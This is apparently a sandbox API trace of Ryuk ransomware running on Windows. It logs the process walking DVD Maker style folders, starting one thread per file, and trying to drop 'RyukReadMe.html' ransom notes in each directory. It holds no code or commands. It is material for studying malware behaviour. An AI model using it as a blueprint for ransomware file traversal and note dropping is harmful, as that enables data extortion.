	[0230.987] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0230.987] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe3c
	[0230.990] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.990] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0230.990] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.991] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe40
	[0230.992] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.992] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x76, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0230.992] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.993] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44
	[0230.994] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.995] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x76, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1
	[0230.995] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48
	[0230.997] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.997] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1
	[0230.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.998] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4c
	[0230.999] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.000] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1
	[0231.000] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe50
	[0231.002] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.003] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x76, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1
	[0231.003] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.003] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54
	[0231.004] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.005] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1
	[0231.005] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58
	[0231.006] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.007] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.007] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c
	[0231.008] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.009] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0231.009] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.010] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe60
	[0231.011] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.012] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.012] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe64
	[0231.059] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.060] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0231.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe68
	[0231.062] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.062] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.062] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe6c
	[0231.064] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.064] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1
	[0231.065] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe70
	[0231.066] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.067] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe74
	[0231.069] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.069] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1
	[0231.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78
	[0231.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.071] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.071] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe7c
	[0231.073] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.073] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x76, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1
	[0231.073] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe80
	[0231.075] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.075] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x76, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0
	[0231.076] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0231.076] SetLastError (dwErrCode=0x0) 
	[0231.076] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.076] GetLastError () returned 0x5
	[0231.076] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.076] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.076] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1
	[0231.076] SetLastError (dwErrCode=0x0) 
	[0231.077] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.077] GetLastError () returned 0x5
	[0231.077] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.077] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.077] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0231.174] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0231.175] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0231.175] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe84
	[0231.176] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.177] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1
	[0231.177] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe88
	[0231.178] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.179] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0231.179] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c
	[0231.181] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.182] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x76, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1
	[0231.182] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe90
	[0231.184] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.184] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x76, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1
	[0231.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
